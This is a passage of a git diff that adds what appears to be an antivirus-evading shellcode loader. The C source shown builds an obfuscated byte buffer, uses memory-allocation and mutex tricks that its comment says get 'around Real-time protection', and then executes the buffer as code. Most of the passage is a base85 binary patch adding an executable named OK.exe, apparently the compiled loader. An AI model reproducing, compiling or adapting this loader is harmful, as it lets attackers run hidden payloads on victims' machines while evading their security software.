buf[898] = '\x275'-399; + buf[899] = '\x289'-399; + buf[900] = '\x238'-399; + buf[901] = '\x235'-399; + buf[902] = '\x27d'-399; + buf[903] = '\x1c2'-399; + buf[904] = '\x23f'-399; + buf[905] = '\x252'-399; + buf[906] = '\x22c'-399; + buf[907] = '\x1fe'-399; + + char *bb = malloc(MEM); + memset(bb, 22, MEM); + free(bb); + +HANDLE mutex; +mutex = CreateMutex(NULL, TRUE, "muuuu"); + if (GetLastError() == ERROR_ALREADY_EXISTS) +{ +; +} +else +{ +exit(0); +} + + // Checking NULL allows us to get around Real-time protection + void (*func)(); + func = (void (*)()) buf; + (void)(*func)(); + + return 0; +} \ No newline at end of file diff --git a/OK.exe b/OK.exe new file mode 100755 index 0000000000000000000000000000000000000000..7a795aaa897820690147b29aeb120c6cd930b38f GIT binary patch literal 108984 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 